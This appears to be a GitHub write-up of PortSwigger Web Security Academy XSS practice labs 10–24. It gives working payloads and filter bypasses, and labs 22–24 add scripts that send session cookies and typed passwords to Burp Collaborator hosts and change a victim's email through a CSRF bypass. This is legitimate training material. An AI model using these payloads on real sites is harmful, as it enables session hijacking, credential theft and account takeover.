portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Cross-site scripting (XSS):

10 DOM XSS in document.write sink using source location.search inside a select element

This lab demonstrates DOM XSS occurring via document.write() using URL parameters inside a <select> element context.

11 DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

This lab explores how AngularJS expressions can be exploited despite HTML encoding of angle brackets and double quotes.

12 Reflected DOM XSS

This lab shows reflected DOM-based XSS vulnerabilities where user input is unsafely handled in the DOM.

13 Stored DOM XSS

This lab covers stored DOM XSS vulnerabilities where malicious scripts are persistently injected and executed.

14 Reflected XSS into HTML context with most tags and attributes blocked

This lab demonstrates reflected XSS where most HTML tags and attributes are blocked but exploitation remains possible.

15 Reflected XSS into HTML context with all tags blocked except custom ones

This lab shows how attackers can leverage allowed custom tags to carry out reflected XSS attacks.

16 Reflected XSS with some SVG markup allowed

This lab explores XSS attacks exploiting allowed SVG markup.

17 Reflected XSS in canonical link tag
This lab demonstrates XSS via injection into the canonical link tag in the HTML header.

18 Reflected XSS into a JavaScript string with single quote and backslash escaped

This lab covers XSS where single quotes and backslashes are escaped but scripts still execute.

19 Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

This lab shows reflected XSS despite multiple layers of encoding and escaping.

20 Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

This lab demonstrates stored XSS exploiting encoded and escaped event handlers.

21 Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

This lab shows advanced reflected XSS exploiting template literals despite Unicode escaping.

22 Exploiting cross-site scripting to steal cookies

This lab demonstrates practical exploitation of XSS to steal session cookies.

23 Exploiting cross-site scripting to capture passwords

lab shows how XSS can be used to capture user passwords from input fields.

24 Exploiting XSS to bypass CSRF defenses

This lab explains how XSS vulnerabilities can be leveraged to bypass CSRF protections.

LAB 10 - DOM XSS in document.write sink using source location.search inside a select element

Lab Description

image

Solution

We press contrl+u annd see the sink which is shown below:


var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
    document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
    if(stores[i] === store) {
        continue;
    }
    document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

image

image

The parameter storeId is written between “” and “”. That means if we add that value in the GET request it appears between the options, for example accessing "/product?productId=4&storeId=1".

image

To escape the option tags we can use the payload:

</option><script>alert(1)</script><option selected>
/product?productId=4&storeId=</option><script>alert(1)</script><option%20selected>

image

Lab is solved


LAB 11 - DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

Lab Description

image

Solution

There is a search function on the website.

image

The string is part of a h1 tag:

image

Using curly-braces we find this payload is interpreted:


image

I could pop an alert with the example from https://stackoverflow.com/questions/66759842/what-does-object-constructor-constructoralert1-actually-do-in-javascript:


image

The official solution is similar: ``

After alert lab will be solved


LAB 12 - Reflected DOM XSS

Lab Description

image

Solution

There is a Javascript script in /resources/js/searchResults.js, which is:

The sink inside ie below:

image

There is a request to /search-results.

image

The response to /search-results:

image

The correct payload from the solution:

\"-alert(1)}//

• Server adds \ to “ so “ becomes “”. • } closes the JSON object // comments the rest of the object

image

image

And lab will be solved


LAB 13 - Stored DOM XSS

Lab Description

image

Solution

It is possible to post comments on the website:

image

It generates the following HTML code:

image

We can try the payload:

</p><img src=x onerror=alert(1) /><p></p>

image

It pops an alert and lab will be solved:

image


LAB 14 - Reflected XSS into HTML context with most tags and attributes blocked

Lab Description

image

Solution

The content of the search is reflected inside a h1 HTML element:

image

If we try to add a tag “h1” it gets blocked:

image

But not if it is “h2”:

image

With this payload the HTML is generated correctly:

<h3>a</h3>

image

With this payload it says “Attribute is not allowed”:

<h3 onerror=alert(1)>a</h3>

image

I sent it to Intruder and got all events from https://portswigger.net/web-security/cross-site-scripting/cheat-sheet:

image

The only ones working:

• onbeforeinput
• onratechange
• onscrollend
• Onresize

image

I will do the same for the tags, in this case using Battery Ram attack type:

image

The only ones working:

• custom tags • Body

image

The information in the cheatsheet from these attributes is:

image

So we have 3 possible payloads, because as “audio” and “video” tags are not available we can not use “onratechange”:


<xss contenteditable onbeforeinput=alert(1)>test
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
<body onresize="print()">

Regarding the “onscrollend” payload, I updated it because it can not use “br” or “span”. However, it is necessary to scroll to the top or the bottom to see the alert pop:


<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><h2>a</h2><h3 id=x>test</h3></h3>

Regarding the “onbeforeinput” payload, it is necessary to click the text and update it for the alert to pop:

<xss contenteditable onbeforeinput=alert(1)>test</xss>

The third one is valid but it needs the user to change the size of the tab:

<body onresize="print()">

image

We will send this last one inside an iframe:

https://0ad100ff04e7e76582e088af00ae0026.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E

?search=%3Cbody+onresize%3Dprint%28%29%3E" height="100%" title="Iframe Example" onload=body.style.width='100%

In order to solve the lab, there must not be user interaction to trigger the payload since it is sent to victim. The print command needs to be performed automatically without any user interaction. Therefore I need a way to enforce the resize event without requiring the victim to do it.So I include onload=this.style.width='100px' to automatically resize the page when it loads . This willl now trigger an XSS .

<iframe src="https://0ad100ff04e7e76582e088af00ae0026.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E" height="100%" title="Iframe Example" onload=body.style.width='100%'></iframe>

URL-encode the entire search term to ensure nothing goes amiss inside the iframe.

Store & deliver exploit to victim to solve the lab.

image

LAB 15 - Reflected XSS into HTML context with all tags blocked except custom ones

Lab Description

image

### Solution

The search term is reflected in the page response embedded within <h1> tags.

Search reflection


Step 1: Intruder Payload

The payload sent to Intruder for testing:

<tag attrib=alert(1)>text</tag>

Step 2: Attribute Testing

We begin by testing which attributes are allowed:

Attribute test

It seems all attributes are valid:

All attributes valid


Step 3: Tag Testing

Testing various tag names:

Tag test

The following tag names are accepted:

Example:

Custom tags


Step 4: Executing XSS with Autofocus + onfocus

We use the following payload to trigger a pop-up using autofocus and onfocus:

<xss autofocus tabindex=1 onfocus=alert(document.cookie)></xss>

Encoded URL:

https://0a69008d036aebe780944ee10019004a.web-security-academy.net/?search=%3Cxss+autofocus+tabindex%3D1+onfocus%3Dalert%28document.cookie%29%3E%3C%2Fxss%3E

Payload in action:

Alert on focus


Final Step: Deliver to Victim

Deliver the crafted exploit link to the victim. When they visit the page, the malicious payload will execute and the lab will be marked as solved.


LAB 16 - Reflected XSS with some SVG markup allowed

Lab Description

image

Solution

The content of the search is reflected inside a h1 HTML element:

image

In this case it seems not even custom tags are allowed. I will test all possible tags:

image

The valid tags are:

• animatetransform
• image
• title

image

And then all possible attributes: • Onbegin

image

We get this payload from https://portswigger.net/web-security/cross-site-scripting/cheat-sheet:

image

<svg><animatetransform onbegin=alert(1) attributeName=transform>

image


Lab Description

image

Solution

To assist with your exploit, you can assume that the simulated user will press the following key combinations:

	• ALT+SHIFT+X
	• CTRL+ALT+X
	• Alt+X

Please note that the intended solution to this lab is only possible in Chrome.

image

The page allows to post comments:

image

We find the link with ‘rel=”canonical”’ in the head section of the HTML page:

image

We would like to turn it to:

<link rel="canonical" accesskey="X" onclick="alert(1)" />

In the /post endpoint it is necessary to send a correct postId, but it is possible to add more parameters which change the content of the href attribute:

image

A correct payload:

/post?postId=1&a=b'accesskey='X'onclick='alert(1)

image

image


LAB 18 - Reflected XSS into a JavaScript string with single quote and backslash escaped

Lab Description

image

Solution

image

The content of the search is reflected inside a h1 HTML element and a variable in Javascript with single quotes:

image

I used the payload:

  ';</script><img src=x onerror=alert(1)><script>var a='a

image

image


LAB 19 - Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

Lab Description

image

Solution

image

The content of the search is reflected inside a h1 HTML element and a variable in Javascript with single quotes:

image

A payload that works is:

 \';alert(1);//

image


LAB 20 - Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

Lab Description

image

Solution

image

There is a function to post comments:

image

It generates the following HTML code:

image

<a id="author" href="http://test4.com" onclick="var tracker={track(){}};tracker.track('http://test4.com');">test2</a>

We see single quote and backslash characters are indeed escaped and angle brackets and double quotes are HTML-encoded:

image

We will use “’” next:

http://test4.com&apos;);alert(1);//
POST /post/comment HTTP/2
...
csrf=e8yz3UQ62qX7CBfs9PFEanjwdYjzbaMz&postId=1&comment=test1&name=test2&email=test3%40test.com&website=http%3A%2F%2Ftest4.com%26apos;);alert(1)%3b//

When clicking the username an alert pops:

image


LAB 21 - Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

Lab Description

image

Solution

image

The content of the search is reflected inside the variable “message”, a template literal:

image

We can execute this payload inside the template literal:

${alert(1)}

image


LAB 22 - Exploiting cross-site scripting to steal cookies

Lab Description

image

Solution

First we test the XSS in one of the blog posts. This payload works:

</p><img src=x onerror=alert(1) /><p>

image

Next we try the payload:

document.location="http://s2v2in38mu6tj6w733goro9f066xunic.oastify.com/?cookies="+document.cookie
</p><img src=x onerror='document.location="http://s2v2in38mu6tj6w733goro9f066xunic.oastify.com/?cookies="+document.cookie' /><p>

We receive cookies in Burp Collaborator:

image

Then intercept the request to the Home page and add these cookies and we are authenticated as another user and lab will be solved:

image

image


LAB 23 - Exploiting cross-site scripting to capture passwords

Lab Description

image

Solution

We test the most simple XSS payload on comments:

image

It gets executed:

Next we test a payload from https://github.com/R0B1NL1N/WebHacking101/blob/master/xss-reflected-steal-cookie.md:

<script>var i=new Image;i.src="http://ecu0uhyerytdj8d8vdyuowv8zz5qtlha.oastify.com/?cookie="+document.cookie;</script>
Or 

<img src=x onerror="this.src='http://ecu0uhyerytdj8d8vdyuowv8zz5qtlha.oastify.com/?cookie='+document.cookie; this.removeAttribute('onerror');">

image

We get an HTTP request with the cookie:

Next I opened the Firefox debugger’s Console and set the cookie:

 document.cookie="secret=5yN1hPLMMamjE1mFPVb7ocKMq7BSYyTK"

image

But that does not work…

Solution:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

image

Collaborator response:

image

Solved with credentials administrator:ec7ga43qyd9zisyb4h4i

image


LAB 24 - Exploiting XSS to bypass CSRF defenses

Lab Description

image

Solution

image

There is a function to update the email:

image

It is a POST message:

image

There is a function to post comments:

image

Submit the following payload (e.g., in a blog comment field):

</p><img src=x onerror=alert(1) /><p>

Once submitted and viewed by a victim, the alert(1) will execute.

Lab Solved


You can also escalate the attack by submitting the following XSS-based CSRF payload in the comment:

Now Stored below comment in blog then lab will be marked ad solve

<script>
    // Wait the window is fully loaded, otherwise the CSRF token will be empty
    window.onload = function (){
        // Fetch victim's CSRF token
        var csrfToken = document.getElementsByName("csrf")[0].value;
        var email = 'attacker@malicious.com';

        // Construct the require POST parameters
        var data = 'email=' + email + '&';
        data += 'csrf=' + csrfToken;

        // Change victim's email upon visit via CSRF attack
        fetch('https://id.web-security-academy.net/my-account/change-email',
            {
                method: 'POST',
                mode: 'no-cors',
                body: data
            }
        )
    };
</script>

image

image